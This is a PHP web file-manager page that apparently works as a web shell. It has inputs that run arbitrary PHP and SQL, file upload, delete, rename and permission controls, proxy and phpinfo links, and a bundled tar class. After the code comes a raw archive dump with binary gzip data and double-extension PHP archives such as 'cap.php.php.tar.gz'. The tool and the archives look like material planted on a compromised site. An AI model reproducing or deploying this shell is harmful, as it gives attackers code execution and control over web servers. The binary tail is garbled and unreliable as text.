				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer.zip                                                                                        0000644                 00004014201 15217301643 0007042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
